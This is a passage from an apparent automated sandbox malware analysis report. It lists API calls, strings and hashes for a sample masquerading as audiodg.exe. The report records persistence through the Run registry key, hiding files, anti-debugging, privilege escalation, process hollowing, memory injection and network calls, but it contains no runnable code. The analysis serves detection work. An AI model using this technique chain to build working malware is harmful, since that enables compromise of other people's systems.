GetLastError.KERNEL32 ref: 00007FF673522F4E
ReleaseMutex.KERNEL32 ref: 00007FF673522F60
CloseHandle.KERNEL32 ref: 00007FF673522F6B

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction ID: 03ad04a37d00aed6303486a86eac32118ad8c6e5b8f2084be97f4bf5d634e854
Opcode Fuzzy Hash: 8653a772b6c1b6a01af8be04a7d1a20e2c03a294286a54eab86cbb4ac1353a7c
Instruction Fuzzy Hash: 240196A7A2CA8682F724DB21E95627E6370FFD8B45F400535ED8EE6679CF3CD5448600

Function 00007FF673523CE4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF673523D01
PathFindFileNameW.SHLWAPI ref: 00007FF673523D14
wcslen.MSVCRT ref: 00007FF673523D2A
wcsncpy.MSVCRT ref: 00007FF673523DEF

Strings

Unknown, xrefs: 00007FF673523DE0

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction ID: 47da29ace84b5bbf000b2915f4ef127ee1b2e1d3e73959d5480c8792ff160267
Opcode Fuzzy Hash: f2d689744fc7b439bf53b695258597b9eba8ab60145e53c7feb69784c68e6deb
Instruction Fuzzy Hash: 2731AAB662CAC585E770DB19E4997AAB3A1F788B40F400235DA8DD3B68DF3DD554CB00

Function 00007FF673523B84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF67352311C), ref: 00007FF673523BC7
RegSetValueExW.ADVAPI32 ref: 00007FF673523BFD
RegCloseKey.ADVAPI32 ref: 00007FF673523C0C

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF673523B88
Hidden, xrefs: 00007FF673523B94

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction ID: fd6c07bbf28cbcf12892514f398fbbb475f37b4f3257a63e0e09e5621e8b9da9
Opcode Fuzzy Hash: 7060d5503734189d45e9b87f1606f2d82071d756b948eb52710f5919d09f1e4f
Instruction Fuzzy Hash: EC01E976628A808AE750CB14F44571ABB64F788794F901225EBCD93B68DF7DC145CF00

Function 00007FF673524004 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF673524022
Process32FirstW.KERNEL32 ref: 00007FF673524054
wcscmp.MSVCRT ref: 00007FF67352406B
CloseHandle.KERNEL32 ref: 00007FF6735240A1

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction ID: d4530b8b575845d041565cff2997513721733517769a4f99d6f00fd86012e676
Opcode Fuzzy Hash: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction Fuzzy Hash: 8F110CB2A2CA9682F770CB21E58936A63A0FB94754F004335D69D96698DF3DD544CB00

Function 00007FF6735239B4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF673523B0C), ref: 00007FF6735239E4
RegSetValueExW.ADVAPI32 ref: 00007FF673523A39
RegCloseKey.ADVAPI32 ref: 00007FF673523A48

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF6735239D6

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction ID: 87648c9d4a09a3753d6e9b691d9a4b9c0314fa6bf6b5c46dbbfb972031c997bf
Opcode Fuzzy Hash: 5fdf8a34efa352080ba6f6553334769d4c7d7706005dac43f85eff4b5ffc39d8
Instruction Fuzzy Hash: F0116372628B8086E790CB14F54162A77A0FB847A0F105330F9AE93BE8DF7CD044CB00

Function 00007FF673522F9C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6735238C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352390D
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523922
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523935
Part of subcall function 00007FF6735238C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523945
Part of subcall function 00007FF6735238C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523958
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF67352396D
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523980
Part of subcall function 00007FF6735238C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF673523AA9), ref: 00007FF673523995

Part of subcall function 00007FF6735246E4: CreateFileW.KERNEL32 ref: 00007FF67352472B

Part of subcall function 00007FF6735240E4: GetCurrentProcess.KERNEL32 ref: 00007FF67352414B
Part of subcall function 00007FF6735240E4: OpenProcessToken.ADVAPI32 ref: 00007FF67352415E
Part of subcall function 00007FF6735240E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF673524186
Part of subcall function 00007FF6735240E4: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6735241B1
Part of subcall function 00007FF6735240E4: CloseHandle.KERNEL32 ref: 00007FF6735241BC
Part of subcall function 00007FF6735240E4: OpenProcess.KERNEL32 ref: 00007FF6735241D1
Part of subcall function 00007FF6735240E4: CloseHandle.KERNEL32 ref: 00007FF673524249

GetProcessHeap.KERNEL32 ref: 00007FF673523037
HeapFree.KERNEL32 ref: 00007FF67352304A

Strings

.x64, xrefs: 00007FF673522FEE
chFrWWdQWsLFevUr, xrefs: 00007FF673522FDB

Memory Dump Source

Source File: 00000006.00000002.1439767258.00007FF673521000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF673520000, based on PE: true

Associated: 00000006.00000002.1439687192.00007FF673520000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439842699.00007FF673525000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439893953.00007FF673527000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1439981752.00007FF673528000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1440047172.00007FF67352A000.00000008.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff673520000_A629855EB2A22925382193.jbxd

Similarity

API ID: lstrcat$Process$CloseCreateFileHandleHeapOpenToken$AdjustAttributesCurrentDirectoryFolderFreeLookupPathPrivilegePrivilegesValue
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3992431006-2286007224
Opcode ID: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction ID: 6424dd0554abbd375eddedb83fdfe2c4efc7f307b8e688ff0e65db69a5737005
Opcode Fuzzy Hash: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction Fuzzy Hash: E111E8A2A28A8385F710DB14EA473A977A0FB88704F404135D58CE766ADF7CE0598B80

Analysis Process: audiodg.exePID: 1884, Parent PID: 5564COMMON

Execution Graph

Execution Coverage:	23.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	482
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6FDB5345C Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FDB5321C: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF6FDB5346D), ref: 00007FF6FDB53220

ExitProcess.KERNEL32 ref: 00007FF6FDB53476
ExitProcess.KERNEL32 ref: 00007FF6FDB534D4

Strings

audiodg.exe, xrefs: 00007FF6FDB5354C
msiexec.exe, xrefs: 00007FF6FDB534FB
worker_BAccdq, xrefs: 00007FF6FDB53510
worker_RdDwvE, xrefs: 00007FF6FDB534BF
svchost.exe, xrefs: 00007FF6FDB53497
worker_FDhvwc, xrefs: 00007FF6FDB535CD
worker_kBEqZh, xrefs: 00007FF6FDB53561

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 31553c019a40e59f8029305eb783abe107710fc58d50c27d998bbdd7f76d6dd3
Instruction ID: 5741f14919dbc38a517b9100250f549e5bcbfc887418d9497c8326ae9bdd82a8
Opcode Fuzzy Hash: 31553c019a40e59f8029305eb783abe107710fc58d50c27d998bbdd7f76d6dd3
Instruction Fuzzy Hash: F261FBA0A28A4391FB64BF39E85577A2260BF86701FD00135D56EC63E9FE2DF4099790

Function 00007FF6FDB54264 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53481), ref: 00007FF6FDB54268
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF6FDB53481), ref: 00007FF6FDB5427B
GetTokenInformation.KERNELBASE ref: 00007FF6FDB542AC
GetTokenInformation.KERNELBASE ref: 00007FF6FDB542DE
CloseHandle.KERNEL32 ref: 00007FF6FDB542ED

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction ID: 3b91e29164cfdd9f23c7da708466ea54b238d3d3ce1cc06ea69c5d5626be2ed6
Opcode Fuzzy Hash: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction Fuzzy Hash: 3331187261CA8186E750DF19E45072EB7A0FBC6780F901135FA9E83BA8EF7DE4458B40

Function 00007FF6FDB5321C Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF6FDB5346D), ref: 00007FF6FDB53220
GetCurrentProcess.KERNEL32 ref: 00007FF6FDB53236
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF6FDB53244

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction ID: 7877b7b17b76bf2c23d7ce8dd56820ba598e79e44bf180902976b32bc40e3527
Opcode Fuzzy Hash: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction Fuzzy Hash: 08F05450A1D64281E7305F5DE40437927A0AF47B04F900174D5AD867DCFF6DF646DB51

Function 00007FF6FDB543A4 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF6FDB543B9
GetLastError.KERNEL32 ref: 00007FF6FDB543D0
CloseHandle.KERNEL32 ref: 00007FF6FDB543E2

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction ID: 71070020b649b84df40fe84c2726064b40331b0872c1419aa2b053a4adc903cc
Opcode Fuzzy Hash: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction Fuzzy Hash: BDF0306590C645C2EB205F24E44577D3360FB97700FA00475D99EC26E8FF2DF4199640

Function 00007FF6FDB51050 Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF6FDB51063
GetProcAddress.KERNEL32 ref: 00007FF6FDB51078

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction ID: 550291c656f26af62dcce05c30468ab0e23f553f36acf68fdd78f828bb6ed898
Opcode Fuzzy Hash: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction Fuzzy Hash: D6E09276608F8086C6209F15F84011AB7B4FBC9794F944225EACD82B28EF3CD165CB00

Function 00007FF6FDB53B24 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF6FDB53B42

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction ID: 3e62b857e9e90ea811075e2ae46a0e26302d7555cbebfbb06c789e0c46e8b224
Opcode Fuzzy Hash: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction Fuzzy Hash: 05D01351F3494181E795AF16D4457156351FBC5744FC08035D68981698DF3CD0958F00

Non-executed Functions

Function 00007FF6FDB52048 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF6FDB520AD

Strings

@, xrefs: 00007FF6FDB52429
NtUnmapViewOfSection, xrefs: 00007FF6FDB523AE
.reloc, xrefs: 00007FF6FDB5264F
ntdll, xrefs: 00007FF6FDB52399

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: FileModuleName
String ID: .reloc$@$NtUnmapViewOfSection$ntdll
API String ID: 514040917-3001742581
Opcode ID: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction ID: 11ff7e894276d72770412e8bbcd9d7de494a8daf469ccc358b9f0379e5c7d708
Opcode Fuzzy Hash: 020606dac09714d876f732298f71c3bfad47b6361a535e3c1c12f93051d4a690
Instruction Fuzzy Hash: DB32C972709AC186E774CF19E8547AAB3A1FBCAB44F404135DA9D83B98EF7CE4458B40

Function 00007FF6FDB540E4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FDB5414B
OpenProcessToken.ADVAPI32 ref: 00007FF6FDB5415E
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FDB54186
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FDB541B1
CloseHandle.KERNEL32 ref: 00007FF6FDB541BC
OpenProcess.KERNEL32 ref: 00007FF6FDB541D1
WaitForSingleObject.KERNEL32 ref: 00007FF6FDB5422C
CloseHandle.KERNEL32 ref: 00007FF6FDB54249

Strings

SeDebugPrivilege, xrefs: 00007FF6FDB5417D

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentLookupObjectPrivilegePrivilegesSingleValueWait
String ID: SeDebugPrivilege
API String ID: 2379135442-2896544425
Opcode ID: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction ID: f7f6487e070bc283eef0bd263fa1c2bc4d8c3722f7bafd9df37da4b938afaa20
Opcode Fuzzy Hash: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction Fuzzy Hash: 87415E7261868186E350CF55F44876AB7B0FB86754F904134EA9987A9CEF7DE448CF80

Function 00007FF6FDB52CB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82memoryinjectionCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF6FDB52D6F
WriteProcessMemory.KERNEL32 ref: 00007FF6FDB52DC1
VirtualProtectEx.KERNEL32 ref: 00007FF6FDB52DF7

Strings

@, xrefs: 00007FF6FDB52D54

Memory Dump Source

Source File: 00000008.00000002.1439037009.00007FF6FDB51000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF6FDB50000, based on PE: true

Associated: 00000008.00000002.1438985208.00007FF6FDB50000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439083252.00007FF6FDB55000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439155653.00007FF6FDB57000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439182660.00007FF6FDB58000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.1439226782.00007FF6FDB5A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff6fdb50000_audiodg.jbxd

Similarity

API ID: Virtual$AllocMemoryProcessProtectWrite
String ID: @
API String ID: 4073123320-2766056989
Opcode ID: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction ID: 8802fc99b6294f230e67ae0f26c8745e1376af14598a58f322e659a9fe9c8a79
Opcode Fuzzy Hash: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction Fuzzy Hash: 6641C47260DA8586E770CF19F85436AB7A0F786B84F504025EADD83B98EF7DE4548B80

Function 00007FF6FDB51CDC Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 138
networksleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 00007FF6FDB51D20
Sleep.KERNEL32 ref: 00007FF6FDB51D38
InternetOpenUrlW.WININET ref: 00007FF6FDB51D64
InternetOpenUrlW.WININET ref: 00007FF6FDB51D9B
InternetCloseHandle.WININET ref: 00007FF6FDB51DB3
Sleep.KERNEL32 ref: 00007FF6FDB51DBE
HttpQueryInfoA.WININET ref: 00007FF6FDB51DEE
